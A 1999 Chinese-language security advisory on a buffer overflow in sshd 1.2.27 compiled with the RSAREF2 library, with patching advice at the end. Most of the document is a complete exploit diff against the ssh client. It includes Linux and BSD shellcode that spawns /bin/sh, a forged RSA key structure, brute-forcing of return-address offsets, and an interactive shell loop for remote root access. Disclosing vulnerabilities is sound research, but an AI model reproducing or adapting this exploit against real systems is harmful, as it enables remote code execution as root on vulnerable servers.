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安全研究
安全漏洞
SSH守护程序和RSAREF2库的缓冲区溢出漏洞
发布日期：1999-12-13
更新日期：1999-12-18
受影响系统：
任何运行特定版本sshd的系统描述：
任何使用RSAREF2库的系统（如一些支持嵌入SSL的WEB服务器）
某些版本的sshd存在缓冲区溢出漏洞，攻击者可利用这个漏洞修改程序里的某些内部变量。但攻击者无法仅通过这个漏洞执行代码。
然而，由Core SDI发现存在于RSAREF2库中的一个漏洞，可以与sshd的这个漏洞结合起来，从而使远程攻击者能够执行入侵代码。
关于RSAREF2安全漏洞的资料可参阅以下网址：
http://www.core-sdi.com/advisories/buffer%20overflow%20ing.htm
RSAREF2库实现了RSA Security Inc.公司的RSA算法，但它和其它同类库并不相同。因此这个在RSAREF2库被发现的漏洞并不影响其它RSA算法链接库，对RSA算法本身也没有影响。
此外，只有一个发布版本的SSH编译时内建了RSAREF支持，该编译选项是--with-rsaref。只有该版本SSH才受到安全影响。
但RSAREF2链接库在其它产品中的使用也许会造成某些安全漏洞。RSAREF2可以在如支持嵌
入SSL的WEB服务器、ssh客户端或其它加密产品中使用。
结合这两种安全漏洞，攻击者能以运行sshd的帐号权限（一般是root）执行任意代码。
-------------------------------------------------------------------------------
SSH的安全漏洞存在于rsaglue.c源程序中，而RSAREF2的安全漏洞则在rsa.c。
以下是rsaref2/sources目录下rsa.c中出现缓冲区溢出的RSAPrivateDecrypt函数段：
/*
* RSA private-key decryption, according to PKCS #1.
*/
int RSAPrivateDecrypt (output, outputLen, input, inputLen, privateKey)
unsigned char *output; /* output
block */
unsigned int *outputLen; /* length of output
block */
unsigned char *input; /* input
block */
unsigned int inputLen; /* length of input
block */
R_RSA_PRIVATE_KEY *privateKey; /* RSA private
key */
{
int status;
unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN];
unsigned int i, modulusLen, pkcsBlockLen;
modulusLen = (privateKey->bits + 7) / 8;
if (inputLen > modulusLen)
return (RE_LEN);
if (status = RSAPrivateBlock
(pkcsBlock, &pkcsBlockLen, input, inputLen, privateKey))
...
可以看到，变量pkcsBlock会出现缓冲区溢出漏洞。但要利用这个漏洞进行攻击，必须绕过长度检查（inputLen > modulusLen）。只要提供一个足够长(privateKey-bits)的私有密钥，使其moduluLen的值大于输入值的长度，即可通过此长度检查。然后在输入字符串包含攻击代码，并填充足够多的内容，使其长度超过标准RSA密钥长度(MAX_RSA_MODULUS_LEN)，便可以实现攻击了。以下是针对rsaglue.c安全漏洞的程序：
* Performs a private key decrypt operation. */
void rsa_private_decrypt(MP_INT *output, MP_INT *input, RSAPrivateKey
*key)
{
unsigned char input_data[MAX_RSA_MODULUS_LEN];
unsigned char output_data[MAX_RSA_MODULUS_LEN];
unsigned int input_len, output_len, input_bits;
R_RSA_PRIVATE_KEY private_key;
if (key->bits > MAX_RSA_MODULUS_BITS)
fatal("RSA key has too many bits for RSAREF to handle (max %d).",
MAX_RSA_MODULUS_BITS);
input_bits = mpz_sizeinbase(input, 2);
input_len = (input_bits + 7) / 8;
gmp_to_rsaref(input_data, input_len, input);
rsaref_private_key(&private_key, key);
if (RSAPrivateDecrypt(output_data, &output_len, input_data, input_len,
&private_key) != 0)
fatal("RSAPrivateDecrypt failed");
....
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Diff against ssh-1.2.27
diff -N -c ssh-1.2.27/README.coresdi ssh-1.2.27-exploit/README.coresdi
*** ssh-1.2.27/README.coresdi Wed Dec 31 21:00:00 1969
--- ssh-1.2.27-exploit/README.coresdi Tue Dec 14 19:21:10 1999
***************
*** 0 ****
--- 1,32 ----
+ /*
+ *
+ * Descrition: Exploit code for SSH-1.2.27 sshd with rsaref2 compiled in
+ * (--with-rsaref)
+ *
+ * Author: Alberto Solino <Alberto_Solino@core-sdi.com>
+ *
+ * Copyright (c) 1999 CORE SDI S.A., Buenos Aires, Argentina.
+ * All rights reserved.
+ *
+ *
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES
+ * ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE LIABLE FOR ANY DIRECT,
+ * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES RESULTING
+ * FROM THE USE OR MISUSE OF THIS SOFTWARE.
+ *
+ */
+
+ Tested on
+ SSH-1.2.27 Linux RedHat 6.0
+ SSh-1.2.27 OpenBSD 2.6
+
+ Details
+ Relies on offsets taken from JUMP_TO_MY_KEY that are different on
+ different boxes.
+ If it doesnt work, check inside incoming.buf for the string "BETO"
+ and find the proper offsets from there.
+ Additionally, the -f nad -t options are available, to provide
+ a range of addresses and try to brute force remotely the right
+ one.
+ Specify the target os type with -o
+
Binary files ssh-1.2.27/exploit_key and ssh-1.2.27-exploit/exploit_key differ
diff -N -c ssh-1.2.27/exploit_key.pub ssh-1.2.27-exploit/exploit_key.pub
*** ssh-1.2.27/exploit_key.pub Wed Dec 31 21:00:00 1969
--- ssh-1.2.27-exploit/exploit_key.pub Tue Nov 30 01:14:10 1999
***************
*** 0 ****
--- 1 ----
+ 1024 35 1267117909590347174499043541031741054644239057509117384003154079007529460
719887735326723569223066876851914246068069529476608679117606979425145949562139905
848569916783983530266926814301362748534028291838033837913615987881871202763056308
37366787507026341329913385926890796258293060370046555624537870005279144741 root@jack
Common subdirectories: ssh-1.2.27/gmp-2.0.2-ssh-2 and ssh-1.2.27-exploit/gmp-2.0.2-ssh-2
diff -N -c ssh-1.2.27/history ssh-1.2.27-exploit/history
*** ssh-1.2.27/history Wed Dec 31 21:00:00 1969
--- ssh-1.2.27-exploit/history Tue Nov 16 21:41:36 1999
***************
*** 0 ****
--- 1,7 ----
+ Tue Nov 16 19:58:04 ART 1999
+ En RSAPrivateBlock, no calcula la longitud de salida del buffer, simplemente copia
+ el tamanio del modulo que esta en privatekey, pero la longitud de los numeros
+ nunca es mayor que 128.
+ Tue Nov 16 21:41:15 ART 1999
+ overflow en RSAPrivateDecrypt????!?!?!??!?!?! who knows!! fijarse...
+
Common subdirectories: ssh-1.2.27/rsaref2 and ssh-1.2.27-exploit/rsaref2
diff -N -c ssh-1.2.27/ssh.c ssh-1.2.27-exploit/ssh.c
*** ssh-1.2.27/ssh.c Wed May 12 08:19:28 1999
--- ssh-1.2.27-exploit/ssh.c Tue Dec 14 19:03:59 1999
***************
*** 202,208 ****
#include "readconf.h"
#include "userfile.h"
#include "emulate.h"
-
#ifdef LIBWRAP
#include <tcpd.h>
#include <syslog.h>
--- 202,207 ----
***************
*** 212,217 ****
--- 211,249 ----
int allow_severity = LOG_INFO;
int deny_severity = LOG_WARNING;
#endif /* LIBWRAP */
+ #ifdef SSH_EXPLOIT
+ #define BETO_STR 0x80850f8
+ unsigned long exp_offset=BETO_STR;
+ unsigned long exp_offset_to=BETO_STR;
+ unsigned char *shell_code;
+ unsigned long shell_code_len=0;
+ unsigned char linux_shell_code[]=
+ {0x90 ,0x90 ,0x90 ,0x90 ,0x90 ,0x90 ,0x90 ,0x90
+ ,0xeb ,0x44 ,0x5e ,0x89 ,0x76
+ ,0x08 ,0x31 ,0xc0 ,0x88 ,0x46 ,0x07 ,0x89 ,0x46
+ ,0x0c ,0x56 ,0xb9 ,0x00 ,0x00 ,0x00 ,0x00 ,0xbb
+ ,0x05 ,0x00 ,0x00 ,0x00 ,0xb0 ,0x3f ,0xcd ,0x80
+ ,0xb9 ,0x01 ,0x00 ,0x00 ,0x00 ,0xbb ,0x05 ,0x00
+ ,0x00 ,0x00 ,0xb0 ,0x3f ,0xcd ,0x80 ,0xb9 ,0x02
+ ,0x00 ,0x00 ,0x00 ,0xbb ,0x05 ,0x00 ,0x00 ,0x00
+ ,0xb0 ,0x3f ,0xcd ,0x80 ,0x5e ,0xb0 ,0x0b ,0x89
+ ,0xf3 ,0x8d ,0x4e ,0x08 ,0x8d ,0x56 ,0x0c ,0xcd
+ ,0x80 ,0xe8 ,0xb7 ,0xff ,0xff ,0xff ,0x2f ,0x62
+ ,0x69 ,0x6e ,0x2f ,0x73 ,0x68 ,0x00};
+ unsigned char bsd_shell_code[]=
+ {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
+ 0xeb, 0x45, 0x5e, 0x89, 0x76, 0x08, 0x31, 0xc0,
+ 0x88, 0x46, 0x07, 0x89, 0x46, 0x0c, 0x6a, 0x00,
+ 0x6a, 0x05, 0x51, 0xb8, 0x5a, 0x00, 0x00, 0x00,
+ 0xcd, 0x80, 0x6a, 0x01, 0x6a, 0x05, 0x51, 0xb8,
+ 0x5a, 0x00, 0x00, 0x00, 0xcd, 0x80, 0x6a, 0x02,
+ 0x6a, 0x05, 0x51, 0xb8, 0x5a, 0x00, 0x00, 0x00,
+ 0xcd, 0x80, 0x6a, 0x00, 0x8d, 0x46, 0x08, 0x50,
+ 0x8b, 0x46, 0x08, 0x50, 0xb8, 0x3b, 0x00, 0x00,
+ 0x00, 0x31, 0xc9, 0x41, 0x51, 0xcd, 0x80, 0xe8,
+ 0xb6, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e,
+ 0x2f, 0x73, 0x68, 0x00};
+ #endif
/* Random number generator state. This is initialized in ssh_login, and
left initialized. This is used both by the packet module and by various
***************
*** 275,280 ****
--- 307,322 ----
/* Prints a help message to the user. This function never returns. */
void usage(void)
{
+ #ifdef SSH_EXPLOIT
+ fprintf(stderr, "ssh/rsaref2 exploit by Core SDI SA (c) 1999\n");
+ fprintf(stderr, "Usage:\n\t%s [-f offset_from] [-t offset_to] -o ostype host\n",av0);
+ fprintf(stderr, "where:\n");
+ fprintf(stderr, "\toffset_from: start offset for brute force\n");
+ fprintf(stderr, "\toffset_to: end offset for brute force\n");
+ fprintf(stderr, "\tostype: remote machine ostype\n");
+ fprintf(stderr, " BSD : for (*BSD)\n");
+ fprintf(stderr, " Linux : for Intel Linuxes\n\n");
+ #else
fprintf(stderr, "Usage: %s [options] host [command]\n", av0);
fprintf(stderr, "Options:\n");
fprintf(stderr, " -l user Log in using this user name.\n");
***************
*** 321,326 ****
--- 363,369 ----
fprintf(stderr, " -C Enable compression.\n");
fprintf(stderr, " -g Allow remote hosts to connect to local port forwardings\n");
fprintf(stderr, " -o 'option' Process the option as if it was read from a configuration file.\n");
+ #endif
exit(1);
}
***************
*** 504,510 ****
--- 547,557 ----
opt = av[optind][1];
if (!opt)
usage();
+ #ifdef SSH_EXPLOIT
+ if (strchr("fto", opt)) /* options with arguments */
+ #else
if (strchr("eilcpLRo", opt)) /* options with arguments */
+ #endif
{
optarg = av[optind] + 2;
if (strcmp(optarg, "") == 0)
***************
*** 522,527 ****
--- 569,594 ----
}
switch (opt)
{
+ #ifdef SSH_EXPLOIT
+ case 'f':
+ exp_offset = strtoul(optarg,NULL,16);
+ break;
+ case 't':
+ exp_offset_to = strtoul(optarg,NULL,16);
+ break;
+ case 'o':
+ if ( !strcmp(optarg,"BSD") ) {
+ shell_code = bsd_shell_code;
+ shell_code_len = sizeof(bsd_shell_code);
+ }
+ else if ( !strcmp(optarg,"Linux") ) {
+ shell_code = linux_shell_code;
+ shell_code_len = sizeof(linux_shell_code);
+ }
+ else
+ usage();
+ break;
+ #else
case 'n':
stdin_null_flag = 1;
break;
***************
*** 681,692 ****
case 'g':
options.gateway_ports = 1;
break;
!
default:
usage();
}
}
!
/* Check that we got a host name. */
if (!host)
usage();
--- 748,766 ----
case 'g':
options.gateway_ports = 1;
break;
! #endif
default:
usage();
}
}
! #ifdef SSH_EXPLOIT
! if ( shell_code == NULL )
! usage();
! if ( exp_offset_to < exp_offset ) {
! fprintf(stderr,"Invalid offsets!\n");
! usage();
! }
! #endif
/* Check that we got a host name. */
if (!host)
usage();
***************
*** 793,798 ****
--- 867,876 ----
rhosts_authentication is true. Note that the random_state is not
yet used by this call, although a pointer to it is stored, and thus it
need not be initialized. */
+ #ifdef SSH_EXPLOIT
+ do
+ {
+ #endif
ok = ssh_connect(host, options.port, options.connection_attempts,
!use_privileged_port,
original_real_uid, options.proxy_command, &random_state);
***************
*** 846,857 ****
original_real_uid);
options.user_hostfile = tilde_expand_filename(options.user_hostfile,
original_real_uid);
!
/* Log into the remote system. This never returns if the login fails.
Note: this initializes the random state, and leaves it initialized. */
ssh_login(&random_state, host_private_key_loaded, &host_private_key,
host, &options, original_real_uid);
!
/* We no longer need the host private key. Clear it now. */
if (host_private_key_loaded)
rsa_clear_private_key(&host_private_key);
--- 924,941 ----
original_real_uid);
options.user_hostfile = tilde_expand_filename(options.user_hostfile,
original_real_uid);
! #ifdef SSH_EXPLOIT
! fprintf(stdout,"Tryin'... 0x%x\n",exp_offset);
! #endif
/* Log into the remote system. This never returns if the login fails.
Note: this initializes the random state, and leaves it initialized. */
ssh_login(&random_state, host_private_key_loaded, &host_private_key,
host, &options, original_real_uid);
! #ifdef SSH_EXPLOIT
! exp_offset++;
! } while (exp_offset<=exp_offset_to);
! fprintf(stderr,"Didn't work ;( \n");
! #endif
/* We no longer need the host private key. Clear it now. */
if (host_private_key_loaded)
rsa_clear_private_key(&host_private_key);
diff -N -c ssh-1.2.27/sshconnect.c ssh-1.2.27-exploit/sshconnect.c
*** ssh-1.2.27/sshconnect.c Wed May 12 08:19:29 1999
--- ssh-1.2.27-exploit/sshconnect.c Thu Dec 9 17:09:39 1999
***************
*** 214,220 ****
#include "mpaux.h"
#include "userfile.h"
#include "emulate.h"
-
#ifdef KERBEROS
#ifdef KRB5
#include <krb5.h>
--- 214,219 ----
***************
*** 1271,1276 ****
--- 1270,1280 ----
const char *orighost,
Options *options, uid_t original_real_uid)
{
+ #ifdef SSH_EXPLOIT
+ extern unsigned long exp_offset;
+ extern unsigned char *shell_code;
+ extern unsigned long shell_code_len;
+ #endif
int i, type, len, f;
char buf[1024], seedbuf[16];
char *password;
***************
*** 1278,1283 ****
--- 1282,1298 ----
MP_INT key;
RSAPublicKey host_key;
RSAPublicKey public_key;
+ #ifdef SSH_EXPLOIT
+ MP_INT fakekey;
+ int retval;
+ unsigned char first;
+ struct sockaddr_in sin;
+ int sin_len=sizeof(struct sockaddr_in);
+ RSAPrivateKey myfakeKey;
+ RSAPrivateKey myPrivateKey;
+ char private_key_filename[]="exploit_key";
+ fd_set rfds;
+ #endif
unsigned char session_key[SSH_SESSION_KEY_LENGTH];
const char *server_user, *local_user;
char *cp, *host;
***************
*** 1501,1506 ****
--- 1516,1522 ----
/* Generate an encryption key for the session. The key is a 256 bit
random number, interpreted as a 32-byte key, with the least significant
8 bits being the first byte of the key. */
+
for (i = 0; i < SSH_SESSION_KEY_LENGTH; i++)
session_key[i] = random_get_byte(state);
***************
*** 1519,1532 ****
else
mpz_add_ui(&key, &key, session_key[i]);
}
!
/* Encrypt the integer using the public key and host key of the server
(key with smaller modulus first). */
if (mpz_cmp(&public_key.n, &host_key.n) < 0)
{
/* Public key has smaller modulus. */
assert(host_key.bits >= public_key.bits + SSH_KEY_BITS_RESERVED);
-
rsa_public_encrypt(&key, &key, &public_key, state);
rsa_public_encrypt(&key, &key, &host_key, state);
}
--- 1535,1552 ----
else
mpz_add_ui(&key, &key, session_key[i]);
}
! #ifdef SSH_EXPLOIT
! if ( load_private_key(getuid(),private_key_filename,"",&myPrivateKey,NULL)==0) {
! fprintf(stderr,"Cannot locate private key %s\n",private_key_filename);
! exit(1);
! }
! #endif
/* Encrypt the integer using the public key and host key of the server
(key with smaller modulus first). */
if (mpz_cmp(&public_key.n, &host_key.n) < 0)
{
/* Public key has smaller modulus. */
assert(host_key.bits >= public_key.bits + SSH_KEY_BITS_RESERVED);
rsa_public_encrypt(&key, &key, &public_key, state);
rsa_public_encrypt(&key, &key, &host_key, state);
}
***************
*** 1534,1540 ****
{
/* Host key has smaller modulus (or they are equal). */
assert(public_key.bits >= host_key.bits + SSH_KEY_BITS_RESERVED);
-
rsa_public_encrypt(&key, &key, &host_key, state);
rsa_public_encrypt(&key, &key, &public_key, state);
}
--- 1554,1559 ----
***************
*** 1564,1569 ****
--- 1583,1637 ----
for (i = 0; i < 8; i++)
packet_put_char(check_bytes[i]);
+ #ifdef SSH_EXPLOIT
+ for ( i = 0 ; i < 16; i++ ) {
+ mpz_mul_2exp(&key, &key, 8);
+ mpz_add_ui(&key, &key, i+1);
+ }
+ /* Aca seto el lugar donde va a estar la clave nueva cambiada*/
+ for ( i = 0; i < 4 ; i++ ) {
+ mpz_mul_2exp(&key,&key,8);
+ mpz_add_ui(&key,&key, ((exp_offset+9) >> (i*8) & 0xff));
+ }
+
+ /* Con esto fuerzo a que el ciphertext sea mas chico que el modulo*/
+ key._mp_d[31]=0;
+ key._mp_d[32]=0;
+ key._mp_d[3]=htonl(exp_offset+0x5b);
+ /* Ret address a mi codigo */
+ //key._mp_d[3]=0x51510808; // JUMP_TO_MY_KEY+87 dado vuelta
+ /*
+ No se porque mierda ahora hay que invertilo...
+ key._mp_d[3]=JUMP_TO_MY_KEY+80;
+ */
+
+ myfakeKey.bits = 1182; /* Tamanio de la clave */
+ myfakeKey.n._mp_alloc = 33;
+ myfakeKey.n._mp_size = 32;
+ myfakeKey.n._mp_d = (unsigned long int *)(exp_offset+184);
+
+ myfakeKey.e._mp_alloc = 1;
+ myfakeKey.e._mp_size = 1;
+ myfakeKey.e._mp_d = (unsigned long int *)(exp_offset+316);
+
+ myfakeKey.d._mp_alloc = 1;
+ myfakeKey.d._mp_size = 1;
+ myfakeKey.d._mp_d = (unsigned long int *)(exp_offset+25);
+
+ myfakeKey.u._mp_alloc = 17;
+ myfakeKey.u._mp_size = 16;
+ myfakeKey.u._mp_d = (unsigned long int *)(exp_offset+460);
+
+ myfakeKey.p._mp_alloc = 17;
+ myfakeKey.p._mp_size = 16;
+ myfakeKey.p._mp_d = (unsigned long int *)(exp_offset+392);
+
+ myfakeKey.q._mp_alloc = 17;
+ myfakeKey.q._mp_size = 16;
+ myfakeKey.q._mp_d = (unsigned long int *)(exp_offset+324);
+
+ #endif
+
/* Send the encrypted encryption key. */
packet_put_mp_int(&key);
***************
*** 1571,1579 ****
--- 1639,1686 ----
packet_put_int(SSH_PROTOFLAG_SCREEN_NUMBER | SSH_PROTOFLAG_HOST_IN_FWD_OPEN);
/* Send the packet now. */
+ #ifdef SSH_EXPLOIT
+ packet_put_string("BETO",4);
+ packet_put_string((char *)&myfakeKey,sizeof(myfakeKey));
+ packet_put_string(shell_code, shell_code_len);
+ packet_put_string((char *)myPrivateKey.n._mp_d,myPrivateKey.n._mp_size*4);
+ packet_put_string((char *)myPrivateKey.e._mp_d,myPrivateKey.e._mp_size*4);
+ packet_put_string((char *)myPrivateKey.q._mp_d,myPrivateKey.q._mp_size*4);
+ packet_put_string((char *)myPrivateKey.p._mp_d,myPrivateKey.p._mp_size*4);
+ packet_put_string((char *)myPrivateKey.u._mp_d,myPrivateKey.u._mp_size*4);
+ #endif
packet_send();
packet_write_wait();
+ #ifdef SSH_EXPLOIT
+ usleep(10);
+ first = 1;
+ i = write(packet_get_connection_in(),"id\n",3);
+ if ( getpeername(packet_get_connection_in(),(struct sockaddr *)&sin, &sin_len) == -1)
+ return;
+
+ while (1) {
+ FD_ZERO(&rfds);
+ FD_SET(packet_get_connection_in(),&rfds);
+ FD_SET(STDIN_FILENO,&rfds);
+ if ( (retval = select(packet_get_connection_in()+1,&rfds,NULL,NULL,NULL)) < 0 )
+ return;
+ if (FD_ISSET(STDIN_FILENO,&rfds)) {
+ i=read(STDIN_FILENO,buf,sizeof(buf));
+ write(packet_get_connection_out(),buf,i);
+ } else if (FD_ISSET(packet_get_connection_in(),&rfds)) {
+ i=read(packet_get_connection_in(),buf,sizeof(buf));
+ if ( first )
+ if ( strncmp(buf,"uid",3) )
+ return;
+ else {
+ fprintf(stdout,"Got it!\n");
+ first = 0;
+ }
+ write(STDOUT_FILENO,buf,i);
+ }
+ }
+ #endif
/* Destroy the session key integer and the public keys since we no longer
need them. */
mpz_clear(&key);
***************
*** 1583,1588 ****
--- 1690,1697 ----
debug("Sent encrypted session key.");
/* Set the encryption key. */
+ packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH+120,
+ options->cipher, 1);
packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH,
options->cipher, 1);
Common subdirectories: ssh-1.2.27/zlib-1.0.4 and ssh-1.2.27-exploit/zlib-1.0.4
建议：
1、从供应商或厂商获取补丁程序。
为RSAREF2链接库安装安全补丁。RSA Security Inc.公司拥有RSA算法的专利和RSAREF2
的版权。因此我们建议在运行补丁程序前注意考虑合法性问题。
编写RSAREF2的攻击程序时需要能将输入（攻击代码）传递到RSAREF2库中的应用程序。因
此，对于那些调用了RSAREF2链接库的程序，应该在调用前检查输入值的有效性，这样可避
免出现安全问题。
2、使用没有此安全漏洞的RSA算法库
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